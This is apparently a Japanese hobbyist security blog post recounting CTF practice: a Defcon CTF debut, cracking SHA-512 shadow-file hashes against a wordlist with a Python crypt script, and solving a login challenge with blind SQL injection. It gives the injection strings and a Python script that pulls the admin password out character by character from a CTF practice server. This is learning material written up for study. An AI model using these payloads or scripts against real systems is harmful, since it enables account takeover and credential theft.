ネットワークセキュリティやってます。技術よりも趣味と雑談が多めのブログです。最近はオンライン英会話にはまっています。
2025-01
- «
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
× [PR]上記の広告は3ヶ月以上新規記事投稿のないブログに表示されています。新しい記事を書く事で広告が消えます。
いくつになっても知らないことを学ぶのはたのしいことだ。そのうちマルウェア解析ができるぐらいにはなりたい。
Defcon CTFは、NWな人にはあまり関係ないが、SECな人には有名なセキュリティコンテストである。CTF(Capture The Flag)は、毎週のように世界各地で催されている。Defcon CTFはそのなかで最大なCTFである。参加チームは年々増加しており、今年は1000チームを超えた。
さて、我らへっぽこセキュリティエンジニアの集まりで初参戦した。烏合の衆な我がチームは、なんと奇跡的にも0点を回避することができた。しかも3点もとれた!(全部1点問題ですが。。。)バイナリ解析などのリバースエンジニアリング系の問題ばっかで、手も足も出ない状態でした。pcap系とweb系の問題があればもう少し点数が取れていたかもしれない。 バイナリの問題解答例のwrite-upを読んでもさっぱり意味が分からないぐらいスキルのなさを露呈した。くやしいので一昨日からバイナリの勉強を始めた。とりあえずネットで基本中の基本ぐらいの知識を身につけて、評判がよさそうな「たのしいバイナリの歩き方」を読む予定である。 ちなみに自分が解けた問題は3dtttというやつでした。ncコマンドであるサーバと3次元3目並べゲームとの対戦ゲームで、50回勝ち越しすると勝利のやつ。時間制限などがあったからPythonで自動化できるプログラムを書いて1ポイントゲット。 21ユーザのパスワードファイルとなっている。user99にはパスワードリストのURLがある。問題タイトルがJohnなだけにJohn the RipperみたいなことをすればFlagがとれそう。
パスワードファイルのフォーマットはよく知らなかったので調べたところ、$6$はSHA512の意味で、さらに次の$まではソルトの部分である。平文のパスワードにソルトを連結したうえハッシュ処理を行った結果が暗号化パスワードとなる。SHA512なのでハッシュ化文字列は512ビット、16進数文字列でこれを表すと、128文字のハッシュとならないといけない。しかし、問題のハッシュをみると86文字しかなく、さらに文字は英数字混じりとなっている。最初、base64でエンコードされていると疑ったが、結果的にそうではなかった。
hashlib.sha512()で総当りすれば簡単にできるとおもったがなかなかうまくいかなかった。Pythonでsha512を生成する方法を調べた結果、cryptモジュールならできそう分かる。しかし、cryptモジュールは windowsにないのでpythonをubuntuで書いて実行した。時間かかりすぎた。 import hashlib,crypt,getpass,pwd
splited = []
#shadowファイルの各行を$と:で分割した要素を一時的に保存するリスト
salt = []
#各ユーザのソルト
crptpwd = []
#各ユーザの暗号化パスワード
i = 0
#ユーザ数を数える
qtxt = open('q.txt','r')
#shadowファイルを開く
for line in qtxt:
i = i + 1
splited = line.replace('$',':').split(':')
#shadowファイルの各行を$と:の記号で分割
salt.append(splited[3])
#ソルトに相当する部分を抽出
crptpwd.append(splited[4])
#暗号化パスワードに相当する部分を抽出
for j in range(0,i):
passlisttxt = open('passlist.txt','r')
#パスワードリストファイルを開く
for m in passlisttxt:
line2 = m.split('\n')
mycrptpwd = crypt.crypt(line2[0],"$6$"+salt[j]).split('$')
#パスワード候補にソルトを付与してハッシングを行う
if mycrptpwd[3] == crptpwd[j]:
print line2[0]
break
問題ページ
問題ページにはIDとPassの2つのフォームしかない。IDはadminと言われているので、Passを当てる問題と思われる。SQLの脆弱性を突く以下のような簡単なSQLインジェクションを試す。 ID = admin Pass = ' OR 'A'='A すると、PHPのページが表示された。やはりadminのパスワードが回答らしい。PHP構文がヒントというので、上から眺めるとSQLの構文があって、この構文の中の変数$idや$passに適切なSQLをはめ込めばパスワードを盗み出せるかもしれない。作戦はたったがどのようなSQLを入れればよいのかは分からない。そもそもSQLよく知らないし。困り果ててグーグル先生に”sqlインジェクション password”をたずねたら、偶然以下のサイトをみつけた。 ブラインドSQLインジェクション このブラインドSQLインジェクションは初耳だが、これをうまく使えばパスワードを推測できそう。かなりの試行錯誤をへて次のようなSQLをIDフォームに入れて(Passフォームは空欄)送信するとSQLインジェクションが成功した。 admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)<='Z'-- 何をしているかというと、IDがadminでかつadminのパスワードの1文字目がzよりも小さいなら正(SQLインジェクション成功)を返させる。なお、アルファベット英数文字の順序はアスキーコード表を参照すること。ZをCに変えてもう一度攻撃をするとログインエラーとなる。つまり、adminのパスワードの1文字目は、D~Zの23文字のいずれである。このようにパラメータを1つずつ変えながら試せば答えにたどり着くことできる。しかし、パスワードの長さによっては途中で挫折してしまうかもしれない。なので、パスワードの長さを知りたい衝動にかられる。短ければ気合で総当りすることもできる。 色々調べたらlength関数を使えばパスワードの長さが分かるかもしえれないので、これも試行錯誤して以下のようなSQLにたどり着いた。 admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100-- ここでは、IDがadminでかつadminのパスワードが100以下なら正とする。結果としてSQLインジェクションが成功した。先ほどと同様に100を少しずつ減らしていけばパスワードの長さがわかる。長さは、あまりがんばりたくない文字数でしたので、なんとか楽したいとおもいはじめる。 まず試したのは、ローカルプロキツール"burp proxy"でした。HTTP Requestをいったん止めてPOSTのパラメータを変えながら試せば効率が上がるとおもったからである。たしかに直接フォームにSQLを入れてためすよりは速度は速いが、やはり手動にはかわらないので数回やると萎えてしまう。 やはり、プログラミングで自動化したい! PythonによるHTTP通信のプログラミング経験はまったくないので、まずは以下のページを見てお勉強した。 urllib2 を使ってインターネット上のリソースを取得するには 格闘する3時間でやっとプログラミングが完成した。 import urllib
import urllib2
passwordlist = []
for i in range(1,50):
# パスワードの長さをブラインドSQLで探索
req = {'id':"admin' and (SELECT length(pass) FROM user WHERE id='admin') = " + str(i) + "--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
# ログイン成功と失敗をresponse文の長さで判断
print "The password has " + str(i) + " characters"
passlen = i
break
for j in range(1,passlen + 1):
for x in range(33,127):
# "!"から"~"までの文字を総当り
req = {'id':"admin' and substr((SELECT pass FROM user WHERE id='admin')," + str(j) + ",1)='" + chr(x) + "'--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
print chr(x),
passwordlist.append(chr(x))
break
password = "".join(passwordlist)
print ""
print "The password is " + password これを実行すると、adminのパスワードの文字数およびパスワード文字列が出てくる。 プログラムの前半はパスワード文字数を割り出して、後半ではパスワードの各文字を記号・英数文字の総当り検索を行っている。攻撃成功か失敗かはHTTPレスポンスのHTMLの長さで判断している。 |
プロフィール
HN:
ぜん吉
性別:
男性
職業:
割と自由なリーマン
趣味:
海外出張
自己紹介:
2006年のCCNA合格を皮切りにCCIE-RSを含めて数々のシスコ資格をパスし、2009年に念願の海外受験(ドバイ)でCCIE-SCを取得。そして、2010年に目標だったトリプルCCIEを香港の地にて達成した。今はネットワークセキュリティやデータ分析などをやっています。
■2006年の目標 CCNA(達成) ■2007年の目標 CCNP(達成) CCDA(達成) CCDP(達成) CCIP(達成) ■2008年の目標 CCSP(達成) CCIE-RS(達成) TOEIC700点(達成) ■2009年の目標 CCIE-Sec(達成) TOEIC800点(達成) JNCIA-JUNOS(達成) ■2010年の目標 JNCIA-M(達成) CCIE-SP(達成) JNCIS-M(達成) JNCIA-EX(達成) JNCIS-SEC(達成) ■2011年の目標 異動(未達成) ■2012年の目標 異動(未達成) TOEIC850点(達成) ■2013年の目標 異動(達成) CCIE更新(達成) ■2015年の目標 本を出す(達成) ■2017年の目標 TOEIC900(達成) TOEIC950(達成) ■2018年の目標 英検1級(達成) ■2019年の目標 海外勤務 |